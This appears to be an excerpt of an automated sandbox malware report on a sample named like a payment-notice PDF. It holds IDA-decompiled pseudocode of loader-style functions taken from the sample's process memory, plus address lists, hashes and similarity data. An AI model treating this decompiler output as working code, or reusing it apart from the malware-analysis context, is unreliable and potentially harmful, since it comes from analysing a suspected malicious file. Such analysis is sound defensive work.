													_t444 = _t444 + 0xc;
												}
												_t400 = _v88;
												goto L60;
											}
											_t408 = L3349B9FA(_t368);
											_v88 = _t408;
											__eflags = _t408;
											if(_t408 == 0) {
												goto L111;
											}
											_t435 = (_v56 - _v36 >> 1) + (_v56 - _v36 >> 1);
											L334B88C0(_t408, _v36, _t435);
											_t409 = _t408 + _t435;
											_t437 = _a20 + _a20;
											L334B88C0(_t409, _a16, _t437);
											 *((short*)(_t409 + _t437)) = 0;
											L334B88C0(_t409 + _t437 + 2, _v40, _t328 - _v40 & 0xfffffffe);
											_t444 = _t444 + 0x24;
											_t372 = _a4;
											_t299 = _v88;
											__eflags = _t372;
											if(_t372 != 0) {
												 *_t372 = _t299;
											} else {
												_t372 = _v48;
												 *((intOrPtr*)(_t372 + 0x48)) = _t299;
												 *(_t372 + 0x290) = _v80;
												_t96 = _t372 + 0x294;
												 *_t96 =  *(_t372 + 0x294) + 1;
												__eflags =  *_t96;
											}
											__eflags = _v29;
											if(_v29 != 0) {
												L334B8F40(0x335663a0, 0, 0x234);
												_t444 = _t444 + 0xc;
											}
											__eflags = _v30;
											if(_v30 != 0) {
												_push( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
												E3347E740(_t372);
												_v30 = 0;
											}
											_t238 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v36);
											_t400 = _v40;
											_t328 = _v52;
											goto L60;
										}
										if(__eflags < 0) {
											__eflags = _v44 - _t328;
											if(_v44 == _t328) {
												_t238 = _v92;
												_v44 = _v92;
											}
										}
										goto L16;
									}
								}
								_t359 = _a12 - _v88;
								goto L33;
							}
							L60:
							_t342 = _v36;
							_t414 = _v44;
							goto L61;
						}
					} else {
						_t324 = 0;
						__eflags = 0;
						_t441 = _a20;
						while(1) {
							__eflags = _t324 - _t441;
							if(_t324 >= _t441) {
								goto L12;
							}
							__eflags =  *((short*)(_t340 + _t324 * 2));
							if( *((short*)(_t340 + _t324 * 2)) == 0) {
								goto L120;
							} else {
								_t324 = _t324 + 1;
								continue;
							}
						}
						goto L12;
					}
				}
			}

0x3349b1e5
0x3349b1e7
0x3349b1ec
0x3349b1f7
0x3349b1f8
0x3349b1fe
0x3349b203
0x3349b208
0x3349b20c
0x3349b212
0x3349b219
0x3349b220
0x3349b224
0x3349b228
0x3349b22d
0x334de41b
0x334de41b
0x3349b57d
0x3349b580
0x3349b58e
0x3349b58e
0x3349b233
0x3349b23a
0x00000000
0x3349b240
0x3349b240
0x3349b245
0x3349b249
0x3349b250
0x00000000
0x3349b25f
0x3349b25f
0x3349b260
0x00000000
0x3349b260
0x3349b250
0x3349b265
0x3349b268
0x3349b26a
0x3349b283
0x3349b289
0x3349b28c
0x3349b28f
0x3349b292
0x3349b295
0x3349b29c
0x3349b29e
0x3349b2a1
0x3349b2a4
0x3349b2a6
0x3349b76c
0x3349b76e
0x3349b771
0x3349b774
0x00000000
0x00000000
0x334de27e
0x334de281
0x334de283
0x334de296
0x334de296
0x00000000
0x334de285
0x334de286
0x334de28b
0x334de28e
0x334de290
0x00000000
0x00000000
0x00000000
0x334de290
0x3349b2ac
0x3349b2ac
0x3349b2b0
0x3349b2bd
0x3349b2c2
0x3349b2c5
0x3349b2c8
0x3349b2cb
0x3349b2cb
0x3349b2d2
0x3349b2d4
0x3349b2d7
0x3349b2d9
0x3349b2dc
0x3349b2de
0x3349b55c
0x3349b55c
0x3349b55e
0x3349b709
0x3349b70b
0x3349b70b
0x3349b564
0x3349b566
0x3349b591
0x3349b595
0x00000000
0x00000000
0x3349b597
0x3349b599
0x334de3e5
0x334de3e8
0x334de3ee
0x334de3f5
0x3349b5f8
0x3349b5f8
0x3349b5fb
0x3349b5fd
0x3349b7ab
0x3349b7b3
0x3349b7ba
0x3349b7bf
0x3349b7c2
0x3349b7c5
0x3349b7c7
0x3349b7d5
0x3349b7da
0x3349b7da
0x3349b7dd
0x3349b7df
0x3349b7e7
0x3349b7ea
0x3349b7ed
0x3349b7f3
0x3349b7fb
0x3349b803
0x3349b805
0x3349b808
0x3349b80a
0x3349b810
0x3349b813
0x3349b816
0x00000000
0x3349b81c
0x3349b81c
0x3349b822
0x3349b825
0x3349b828
0x3349b82e
0x00000000
0x3349b82e
0x3349b816
0x3349b60a
0x3349b60c
0x3349b60f
0x3349b611
0x334de35f
0x334de35f
0x00000000
0x334de35f
0x3349b617
0x3349b619
0x334de3fc
0x3349b61f
0x3349b624
0x3349b624
0x3349b626
0x3349b62e
0x3349b633
0x3349b636
0x3349b636
0x3349b63c
0x3349b642
0x3349b649
0x3349b654
0x3349b65b
0x3349b661
0x3349b667
0x3349b66e
0x3349b679
0x3349b67d
0x3349b680
0x3349b683
0x3349b685
0x334de405
0x334de408
0x3349b68b
0x3349b693
0x3349b69b
0x3349b69e
0x3349b6a0
0x3349b6ae
0x3349b6b3
0x3349b6a0
0x3349b6b6
0x3349b6b9
0x3349b6bc
0x3349b6be
0x3349b77f
0x3349b6c4
0x3349b6c4
0x3349b6c7
0x3349b6cd
0x3349b6d3
0x3349b6d3
0x3349b6d3
0x3349b6d3
0x3349b6d9
0x3349b6dd
0x3349b6e5
0x3349b6e8
0x3349b6ed
0x3349b6ed
0x3349b6ff
0x00000000
0x3349b6ff
0x3349b59f
0x3349b5a2
0x3349b5a2
0x3349b5a2
0x3349b5a5
0x3349b5a8
0x00000000
0x00000000
0x3349b5b0
0x3349b5b0
0x3349b5b3
0x3349b5b6
0x3349b5b9
0x00000000
0x00000000
0x3349b5bb
0x3349b5bb
0x3349b5b0
0x3349b5c3
0x3349b5d7
0x3349b5d9
0x3349b5e3
0x3349b5e8
0x3349b5e8
0x3349b5eb
0x3349b5f2
0x3349b5f5
0x00000000
0x3349b568
0x3349b568
0x3349b568
0x3349b56b
0x3349b56b
0x3349b56e
0x3349b56e
0x3349b575
0x3349b57a
0x00000000
0x3349b57a
0x3349b566
0x3349b2e4
0x3349b2e7
0x3349b2f0
0x3349b2f0
0x3349b2f0
0x3349b2f3
0x00000000
0x00000000
0x3349b2f9
0x3349b2fb
0x3349b2fe
0x3349b2fe
0x3349b300
0x3349b303
0x3349b303
0x3349b306
0x3349b309
0x3349b30c
0x3349b30f
0x00000000
0x00000000
0x3349b311
0x3349b314
0x00000000
0x00000000
0x3349b31a
0x3349b31c
0x3349b31f
0x3349b31f
0x3349b322
0x3349b325
0x3349b327
0x3349b330
0x3349b330
0x3349b333
0x00000000
0x00000000
0x3349b335
0x3349b338
0x3349b338
0x3349b33f
0x3349b33f
0x3349b341
0x3349b343
0x3349b346
0x00000000
0x3349b346
0x3349b349
0x3349b34c
0x3349b34f
0x3349b352
0x3349b355
0x3349b358
0x3349b35b
0x3349b35d
0x3349b35f
0x3349b35f
0x3349b363
0x3349b366
0x3349b370
0x3349b370
0x3349b372
0x00000000
0x00000000
0x3349b37b
0x3349b381
0x3349b384
0x3349b388
0x3349b38c
0x3349b390
0x3349b393
0x3349b3cc
0x3349b3cc
0x3349b3cf
0x3349b3d2
0x3349b3d5
0x3349b3d8
0x00000000
0x3349b3d8
0x3349b395
0x3349b399
0x3349b3f4
0x3349b3f8
0x334de29f
0x334de2a5
0x00000000
0x00000000
0x334de2ab
0x334de2b2
0x334de2b6
0x00000000
0x00000000
0x334de2c4
0x334de2d8
0x334de2ea
0x334de2f0
0x334de2f4
0x334de2f7
0x3349b409
0x3349b409
0x00000000
0x3349b409
0x3349b3fe
0x3349b3fe
0x3349b3fe
0x3349b405
0x00000000
0x3349b405
0x3349b39b
0x3349b39b
0x3349b39f
0x3349b3dd
0x3349b3e1
0x334de2ff
0x334de305
0x334de30b
0x334de312
0x334de316
0x334de324
0x334de338
0x334de346
0x334de34c
0x334de350
0x334de354
0x334de357
0x334de357
0x334de316
0x3349b3e7
0x3349b3e7
0x3349b3ee
0x3349b3ee
0x3349b3e1
0x3349b3a1
0x3349b3a4
0x00000000
0x3349b3a6
0x3349b3a6
0x3349b3ac
0x3349b3ac
0x3349b3ae
0x3349b3ae
0x3349b3b0
0x3349b417
0x3349b419
0x3349b420
0x3349b420
0x3349b420
0x3349b423
0x3349b426
0x00000000
0x00000000
0x3349b430
0x3349b430
0x3349b433
0x3349b436
0x3349b439
0x00000000
0x00000000
0x3349b43b
0x3349b43b
0x3349b430
0x3349b440
0x3349b443
0x3349b446
0x3349b449
0x3349b44b
0x3349b78d
0x3349b78e
0x3349b78f
0x3349b741
0x3349b741
0x3349b746
0x3349b749
0x3349b749
0x3349b74d
0x3349b75f
0x3349b764
0x3349b764
0x00000000
0x3349b74d
0x3349b451
0x3349b454
0x3349b457
0x3349b713
0x3349b71a
0x3349b71f
0x3349b725
0x3349b727
0x3349b729
0x3349b72c
0x3349b732
0x3349b735
0x00000000
0x00000000
0x3349b73b
0x3349b73b
0x3349b73e
0x3349b73f
0x3349b740
0x00000000
0x3349b740
0x3349b45d
0x3349b46c
0x3349b471
0x3349b47f
0x3349b481
0x3349b484
0x3349b486
0x334de374
0x334de37b
0x334de386
0x334de393
0x334de39d
0x334de3a2
0x334de3a5
0x334de3a9
0x334de3ab
0x334de3b1
0x334de3b4
0x334de3b7
0x334de3bd
0x334de3bd
0x334de3bd
0x334de3bd
0x334de3c3
0x334de3c7
0x334de3d5
0x334de3da
0x334de3da
0x334de3dd
0x00000000
0x334de3dd
0x3349b491
0x3349b493
0x3349b496
0x3349b498
0x00000000
0x00000000
0x3349b4a8
0x3349b4ae
0x3349b4b6
0x3349b4bb
0x3349b4c2
0x3349b4ce
0x3349b4df
0x3349b4e4
0x3349b4e7
0x3349b4ea
0x3349b4ed
0x3349b4ef
0x3349b794
0x3349b4f5
0x3349b4f5
0x3349b4f8
0x3349b4fe
0x3349b504
0x3349b504
0x3349b504
0x3349b504
0x3349b50a
0x3349b50e
0x3349b51c
0x3349b521
0x3349b521
0x3349b524
0x3349b528
0x3349b530
0x3349b533
0x3349b538
0x3349b538
0x3349b54b
0x3349b550
0x3349b553
0x00000000
0x3349b553
0x3349b3b2
0x3349b3b8
0x3349b3bb
0x3349b3c1
0x3349b3c4
0x3349b3c4
0x3349b3bb
0x00000000
0x3349b3b2
0x3349b3a4
0x3349b412
0x00000000
0x3349b412
0x3349b556
0x3349b556
0x3349b559
0x00000000
0x3349b559
0x3349b26c
0x3349b26c
0x3349b26c
0x3349b26e
0x3349b271
0x3349b271
0x3349b273
0x00000000
0x00000000
0x3349b275
0x3349b27a
0x00000000
0x3349b280
0x3349b280
0x00000000
0x3349b280
0x3349b27a
0x00000000
0x3349b271
0x3349b26a

Strings

@[V3@[V3, xrefs: 3349B1FC

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @[V3@[V3
API String ID: 0-4193749981
Opcode ID: 533abc72e551be6cc2035b5241af207279ca190d26b4aaa414ebc473c19a5f59
Instruction ID: ee50b04e253c113c89273949b7a58feb2133d1bc4c53811fdf158420f474efe9
Opcode Fuzzy Hash: 533abc72e551be6cc2035b5241af207279ca190d26b4aaa414ebc473c19a5f59
Instruction Fuzzy Hash: E2329CB5E00219DFEF14CFA8C890AEEBBB1FF84754F180169E855AB391D7319941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 3349E507 Relevance: 1.8, APIs: 1, Instructions: 278
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E3349E507(intOrPtr* __ecx, intOrPtr* __edx) {
				char _v5;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
				signed int _v52;
				signed int _v56;
				char _v64;
				signed int _v68;
				signed int _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _v84;
				char _v88;
				signed int _t78;
				void* _t81;
				char* _t84;
				intOrPtr _t85;
				intOrPtr _t97;
				signed int _t100;
				signed int _t105;
				intOrPtr _t108;
				signed int _t116;
				signed int _t117;
				signed char* _t118;
				signed int _t125;
				signed int _t126;
				signed char* _t127;
				intOrPtr* _t131;
				char* _t132;
				intOrPtr* _t151;
				signed int _t152;
				intOrPtr _t153;
				signed int _t155;
				signed int _t156;

				_t151 = __ecx;
				_t131 = __edx;
				_v28 = __edx;
				_t153 =  *((intOrPtr*)(__ecx + 0x20));
				_v32 =  *((intOrPtr*)(__ecx + 0x60));
				if(E3349E662(__ecx, 0) != 0) {
					return 0xc000022d;
				} else {
					_t135 =  *((intOrPtr*)(_t153 + 0x18));
					_t6 = _t153 + 0x24; // 0x123
					_t78 = _t6;
					_t146 = _t78;
					_v16 = _t78;
					L3348DF36( *((intOrPtr*)(_t153 + 0x18)), _t146, 0x14a5);
					_v88 = 0x18;
					_v84 = 0;
					0x840 = 0x40;
					if( *0x33565d58 != 0) {
					}
				}
				_v76 = 0x840;
				_v80 = _t131;
				_v72 = 0;
				_v68 = 0;
				_t81 = L33483C40();
				_t132 = 0x7ffe0384;
				if(_t81 != 0) {
					_t84 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t84 = 0x7ffe0384;
				}
				if( *_t84 != 0) {
					_t85 =  *[fs:0x30];
					__eflags =  *(_t85 + 0x240) & 0x00000004;
					if(( *(_t85 + 0x240) & 0x00000004) != 0) {
						_t126 = L33483C40();
						__eflags = _t126;
						if(_t126 == 0) {
							_t127 = 0x7ffe0385;
						} else {
							_t127 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						__eflags =  *_t127 & 0x00000020;
						if(( *_t127 & 0x00000020) != 0) {
							_t146 = _t146 | 0xffffffff;
							_t135 = 0x1485;
							E334F0227(0x1485, _t146, 0xffffffff, 0xffffffff, 0, 0);
						}
					}
				}
				if(( *( *[fs:0x30] + 0x68) & 0x00040000) != 0) {
					_t135 = _v28;
					_push(0);
					_push(0);
					_push(0);
					_v48 =  *_t135;
					_v44 =  *((intOrPtr*)(_t135 + 4));
					_push("true");
					_push( &_v48);
					_push(0x26);
					E334B4580();
				}
				_v24 = 0;
				while(1) {
					_push(0x60);
					_push("true");
					_push( &_v64);
					_push( &_v88);
					_push(0x100021);
					_push( &_v12);
					_t155 = L334B2CE0();
					if(_t155 >= 0) {
						break;
					}
					__eflags = _t155 - 0xc0000034;
					if(_t155 == 0xc0000034) {
						L38:
						_t155 = 0xc0000135;
						L39:
						__eflags = _t155;
						if(_t155 < 0) {
							L19:
							return _t155;
						}
						break;
					}
					__eflags = _t155 - 0xc000003a;
					if(_t155 == 0xc000003a) {
						goto L38;
					}
					__eflags = _t155 - 0xc0000022;
					if(_t155 != 0xc0000022) {
						goto L39;
					}
					__eflags = _v24;
					if(__eflags != 0) {
						goto L19;
					}
					_t135 = _t151;
					_t125 = E334EFBC2(_t151, __eflags);
					__eflags = _t125;
					if(_t125 == 0) {
						goto L19;
					}
					_v24 = 1;
				}
				if( *0x33565d3c != 0) {
					_t146 = _v12;
					_t155 = L334F3ECC(_t151, _v12, _t135);
					__eflags = _t155;
					if(_t155 >= 0) {
						goto L10;
					}
					__eflags =  *0x33565d10;
					if( *0x33565d10 != 0) {
						L18:
						_push(_v12);
						E334B2A80();
						goto L19;
					}
				}
				L10:
				if(( *(_t151 + 0x10) & 0x01000000) != 0) {
					_t97 =  *[fs:0x30];
					__eflags =  *(_t97 + 3) & 0x00000010;
					if(( *(_t97 + 3) & 0x00000010) != 0) {
						goto L11;
					}
					_t146 =  *(_t151 + 0x20);
					_t155 = L334F3E62(_v12,  *(_t151 + 0x20),  &_v36, "true",  &_v5);
					__eflags = _t155;
					if(_t155 < 0) {
						goto L18;
					}
				}
				L11:
				_push(_v12);
				_push(0x1000000);
				_push(0x10);
				_push(0);
				_push(0);
				_push(0xd);
				_push( &_v20);
				_t155 = E334B2E50();
				if(_t155 < 0) {
					__eflags = _t155 - 0xc000047e;
					if(_t155 == 0xc000047e) {
						L56:
						_t100 = E334EC3B0(_t155);
						_t152 = _v16;
						_t155 = _t100;
						L57:
						L334AC98F(_t155, 0x1485, 0, _t152);
						goto L18;
					}
					__eflags = _t155 - 0xc000047f;
					if(_t155 == 0xc000047f) {
						goto L56;
					}
					__eflags = _t155 - 0xc0000462;
					if(_t155 == 0xc0000462) {
						goto L56;
					}
					_t152 = _v16;
					__eflags = _t155 - 0xc0000017;
					if(_t155 != 0xc0000017) {
						__eflags = _t155 - 0xc000009a;
						if(_t155 != 0xc000009a) {
							__eflags = _t155 - 0xc000012d;
							if(_t155 != 0xc000012d) {
								_v56 = _t152;
								_push( &_v40);
								_push("true");
								_v52 = _t155;
								_push( &_v56);
								_push("true");
								_push("true");
								_push(0xc000007b);
								_t105 = E334B4020();
								__eflags = _t105;
								if(_t105 >= 0) {
									__eflags =  *0x335665f4 - 3;
									if( *0x335665f4 != 3) {
										 *0x33565a9c =  *0x33565a9c + 1;
									}
								}
							}
						}
					}
					goto L57;
				}
				if(L33483C40() != 0) {
					_t132 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t132 != 0) {
					_t108 =  *[fs:0x30];
					__eflags =  *(_t108 + 0x240) & 0x00000004;
					if(( *(_t108 + 0x240) & 0x00000004) != 0) {
						_t117 = L33483C40();
						__eflags = _t117;
						if(_t117 == 0) {
							_t118 = 0x7ffe0385;
						} else {
							_t118 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						__eflags =  *_t118 & 0x00000020;
						if(( *_t118 & 0x00000020) != 0) {
							E334F0227(0x1486, _t146 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
						}
					}
				}
				if(( *(_t151 + 0x10) & 0x00000100) != 0) {
					L21:
					__eflags = _t155;
					if(_t155 < 0) {
						goto L17;
					} else {
						goto L16;
					}
				} else {
					if( *0x335668e4 != 0) {
						_t156 =  *0x33565b64; // 0x0
						asm("ror esi, cl");
						 *0x335691e0(_v12, _v28, 0x20);
						_t116 =  *(_t156 ^  *0x7ffe0330)();
						_t70 = _t116 + 0x3ffffddb; // 0x3ffffddb
						asm("sbb esi, esi");
						_t155 =  ~_t70 & _t116;
						goto L21;
					}
					L16:
					_t155 = E33491332(_t151, _v20);
					if(_v32 != 0) {
						__eflags = _t155;
						if(_t155 < 0) {
							goto L17;
						}
						 *(_t151 + 0x64) = _v12;
						 *((intOrPtr*)(_t151 + 0xc)) = _v20;
						goto L19;
					}
					L17:
					_push(_v20);
					E334B2A80();
					goto L18;
				}
			}

0x3349e512
0x3349e514
0x3349e518
0x3349e51e
0x3349e521
0x3349e52b
0x00000000
0x3349e531
0x3349e531
0x3349e534
0x3349e534
0x3349e53c
0x3349e53e
0x3349e541
0x3349e548
0x3349e558
0x3349e55b
0x3349e55c
0x3349e55c
0x3349e55c
0x3349e563
0x3349e566
0x3349e569
0x3349e56c
0x3349e56f
0x3349e574
0x3349e57b
0x334df88f
0x3349e581
0x3349e581
0x3349e581
0x3349e586
0x334df899
0x334df89f
0x334df8a6
0x334df8ac
0x334df8b1
0x334df8b3
0x334df8c5
0x334df8b5
0x334df8be
0x334df8be
0x334df8ca
0x334df8cd
0x334df8d9
0x334df8dc
0x334df8e1
0x334df8e1
0x334df8cd
0x334df8a6
0x3349e599
0x334df8eb
0x334df8ee
0x334df8ef
0x334df8f0
0x334df8f3
0x334df8f9
0x334df8ff
0x334df901
0x334df902
0x334df904
0x334df904
0x3349e59f
0x3349e5a2
0x3349e5a2
0x3349e5a4
0x3349e5a9
0x3349e5ad
0x3349e5ae
0x3349e5b6
0x3349e5bc
0x3349e5c0
0x00000000
0x00000000
0x334df90e
0x334df914
0x334df94b
0x334df94b
0x334df950
0x334df950
0x334df952
0x3349e655
0x00000000
0x3349e655
0x00000000
0x334df958
0x334df916
0x334df91c
0x00000000
0x00000000
0x334df91e
0x334df924
0x00000000
0x00000000
0x334df926
0x334df92a
0x00000000
0x00000000
0x334df930
0x334df932
0x334df937
0x334df939
0x00000000
0x00000000
0x334df93f
0x334df93f
0x3349e5cd
0x334df95d
0x334df968
0x334df96a
0x334df96c
0x00000000
0x00000000
0x334df972
0x334df979
0x3349e64d
0x3349e64d
0x3349e650
0x00000000
0x3349e650
0x334df97f
0x3349e5d3
0x3349e5da
0x334df984
0x334df98a
0x334df98e
0x00000000
0x00000000
0x334df994
0x334df9a9
0x334df9ab
0x334df9ad
0x00000000
0x00000000
0x334df9b3
0x3349e5e0
0x3349e5e0
0x3349e5e6
0x3349e5eb
0x3349e5ed
0x3349e5ef
0x3349e5f1
0x3349e5f3
0x3349e5f9
0x3349e5fd
0x334df9b8
0x334df9be
0x334dfa1e
0x334dfa1f
0x334dfa24
0x334dfa27
0x334dfa29
0x334dfa33
0x00000000
0x334dfa33
0x334df9c0
0x334df9c6
0x00000000
0x00000000
0x334df9c8
0x334df9ce
0x00000000
0x00000000
0x334df9d0
0x334df9d3
0x334df9d9
0x334df9db
0x334df9e1
0x334df9e3
0x334df9e9
0x334df9ee
0x334df9f1
0x334df9f2
0x334df9f7
0x334df9fa
0x334df9fb
0x334df9fd
0x334df9ff
0x334dfa04
0x334dfa09
0x334dfa0b
0x334dfa0d
0x334dfa14
0x334dfa16
0x334dfa16
0x334dfa14
0x334dfa0b
0x334df9e9
0x334df9e1
0x00000000
0x334df9d9
0x3349e60a
0x334dfa46
0x334dfa46
0x3349e613
0x334dfa51
0x334dfa57
0x334dfa5e
0x334dfa64
0x334dfa69
0x334dfa6b
0x334dfa7d
0x334dfa6d
0x334dfa76
0x334dfa76
0x334dfa82
0x334dfa85
0x334dfa9b
0x334dfa9b
0x334dfa85
0x334dfa5e
0x3349e620
0x3349e65c
0x3349e65c
0x3349e65e
0x00000000
0x3349e660
0x00000000
0x3349e660
0x3349e622
0x3349e629
0x334dfaad
0x334dfac1
0x334dfac7
0x334dfacd
0x334dfacf
0x334dfad7
0x334dfad9
0x00000000
0x334dfad9
0x3349e62f
0x3349e63d
0x3349e63f
0x334dfae0
0x334dfae2
0x00000000
0x00000000
0x334dfaeb
0x334dfaf1
0x00000000
0x334dfaf1
0x3349e645
0x3349e645
0x3349e648
0x00000000
0x3349e648

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95640f2c3e7dface7685dd40d1ca1926243cfe8c7f15018fd68df1f08e25ce11
Instruction ID: 1fdb663b63b1d564e511d201913bb0899c1eeb7baed9881f40975ca850d135ba
Opcode Fuzzy Hash: 95640f2c3e7dface7685dd40d1ca1926243cfe8c7f15018fd68df1f08e25ce11
Instruction Fuzzy Hash: 28A10471E00314AFFB21CBA4C864FDE7BB4EB04B54F090255E950AB3A1DB749D85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 33471051 Relevance: 1.8, APIs: 1, Instructions: 259
timeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E33471051(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				intOrPtr* _v92;
				void* _v96;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t151;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				intOrPtr _t160;
				signed int _t161;
				signed int _t172;
				intOrPtr _t180;
				signed int _t195;
				signed int _t196;
				char _t197;
				signed int _t200;
				void* _t201;
				intOrPtr _t202;
				signed int _t204;
				intOrPtr* _t206;
				intOrPtr _t207;
				char _t209;
				signed int _t210;
				intOrPtr _t214;
				intOrPtr* _t220;
				signed int _t222;
				signed int _t223;
				intOrPtr _t226;
				intOrPtr _t227;
				void* _t232;
				signed int _t233;
				signed int _t234;
				void* _t235;
				intOrPtr _t238;
				signed int _t239;
				void* _t243;
				signed int _t244;
				signed int _t246;
				signed int _t247;

				_t246 = (_t244 & 0xfffffff8) - 0x6c;
				_v8 =  *0x3356b370 ^ _t246;
				_t238 = __edx;
				_t226 = __ecx;
				_v36 = 0;
				_push("true");
				_pop(_t204);
				_t232 =  &_v84;
				_v52 =  *((intOrPtr*)(__ecx + 0x48));
				_v40 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 = __edx;
				_v48 = __ecx;
				_t151 = memset(_t232, 0, _t204 << 2);
				_t247 = _t246 + 0xc;
				_t233 = _t232 + _t204;
				if(_v52 == 2) {
					_t234 =  *(_t226 + 0x60);
					_t200 =  *(_t226 + 0x64);
					_v63 =  *((intOrPtr*)(_t226 + 0x4c));
					_t153 =  *((intOrPtr*)(_t226 + 0x58));
					_v104 = _t153;
					_v76 = _t153;
					_t154 =  *((intOrPtr*)(_t226 + 0x5c));
					_v100 = _t154;
					_v72 = _t154;
					_t155 = 0;
					L19:
					_v80 = _t200;
					_v84 = _t234;
					L8:
					if( *((intOrPtr*)(_t226 + 0x74)) > 0) {
						_t81 = _t226 + 0x84; // 0x124
						_t206 = _t81;
						_v92 = _t206;
						while(1) {
							_t207 =  *_t206;
							if(_t207 >= 0 || _t207 == 0x80000000) {
								break;
							}
							_t155 = _t155 + 1;
							_t206 = _v92 + 0x10;
							_v92 = _t206;
							if(_t155 <  *((intOrPtr*)(_t226 + 0x74))) {
								continue;
							}
							goto L9;
						}
						_v88 = _t155 << 4;
						_t239 = _v88;
						_t209 = _t226 +  *((intOrPtr*)(_t239 + _t226 + 0x78));
						_v44 = _t209;
						asm("adc eax, [esi+edx+0x7c]");
						_v24 = 0;
						_v28 = _t209;
						_v20 =  *((intOrPtr*)(_t239 + _t226 + 0x80));
						_t160 =  *_v92;
						_v36 =  &_v28;
						_t238 = _v32;
						_v16 = _t160;
						if( *(_t226 + 0x4e) >= 0 || _t160 != 0x80000000) {
							goto L9;
						} else {
							 *((intOrPtr*)(_t209 + 8)) = 0;
							 *((intOrPtr*)(_t209 + 0xc)) = 0;
							 *((intOrPtr*)(_t209 + 0x14)) = 0;
							 *((intOrPtr*)(_t209 + 0x10)) = _v20;
							_t214 = 0;
							_t172 = _t238 + 0x66;
							_v92 = 0;
							_v88 = _t172;
							do {
								if( *((char*)(_t172 - 2)) == 0) {
									goto L31;
								}
								_t214 = _v92;
								if(( *_t172 & 0x000000ff) == ( *(_t226 + 0x4e) & 0x7fff)) {
									_t172 = E334B6600(1, _t214 + 0x20, 0);
									_t214 = _v44;
									 *(_t214 + 8) = _t172;
									 *((intOrPtr*)(_t214 + 0xc)) = 0;
									L34:
									if(_v40 == 0) {
										goto L9;
									}
									_t202 = _v40;
									_t121 = _t202 + 0x1c; // 0x1c
									_t236 = _t121;
									L33482330(_t172, _t121);
									 *((intOrPtr*)(_t202 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									_t176 =  *((intOrPtr*)(_t202 + 0x94));
									if( *((intOrPtr*)(_t202 + 0x94)) != 0) {
										E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t176);
									}
									_t180 = L33485D90(_t214,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _v20 + 0x10);
									 *((intOrPtr*)(_t202 + 0x94)) = _t180;
									if(_t180 != 0) {
										 *((intOrPtr*)(_t180 + 8)) = _v20;
										 *((intOrPtr*)( *((intOrPtr*)(_t202 + 0x94)) + 0xc)) = _v16;
										_t220 =  *((intOrPtr*)(_t202 + 0x94));
										 *_t220 = _t220 + 0x10;
										 *((intOrPtr*)(_t220 + 4)) = 0;
										L334B88C0( *((intOrPtr*)( *((intOrPtr*)(_t202 + 0x94)))), _v28, _v20);
										_t247 = _t247 + 0xc;
									}
									 *((intOrPtr*)(_t202 + 0x20)) = 0;
									E334824D0(_t236);
									_t210 = _v76;
									_t161 = _v80;
									_t200 = _v84;
									_t234 = _v88;
									L10:
									_t227 =  *((intOrPtr*)(_t238 + 0x1c));
									_v44 = _t227;
									if(_t227 != 0) {
										 *0x335691e0(_v48 + 0x38, _v52, _v63, _t161, _t210, _t234, _t200, _v36,  *((intOrPtr*)(_t238 + 0x20)));
										_v44();
									}
									_pop(_t235);
									_pop(_t243);
									_pop(_t201);
									return E334B4B50(0, _t201, _v8 ^ _t247, _t227, _t235, _t243);
								}
								_t172 = _v88;
								L31:
								_t214 = _t214 + 1;
								_t172 = _t172 + 0x18;
								_v92 = _t214;
								_v88 = _t172;
							} while (_t214 < 4);
							goto L34;
						}
					}
					L9:
					_t161 = _v104;
					_t210 = _v100;
					goto L10;
				}
				_t234 = _t233 | 0xffffffff;
				_t200 = _t234;
				_v84 = _t234;
				_v80 = _t200;
				if( *((intOrPtr*)(_t238 + 0x4c)) == _t151) {
					_t222 = _v72;
					_v105 = _v64;
					_t195 = _v76;
				} else {
					_t197 =  *((intOrPtr*)(_t238 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t197) {
						_v63 = _t197;
					}
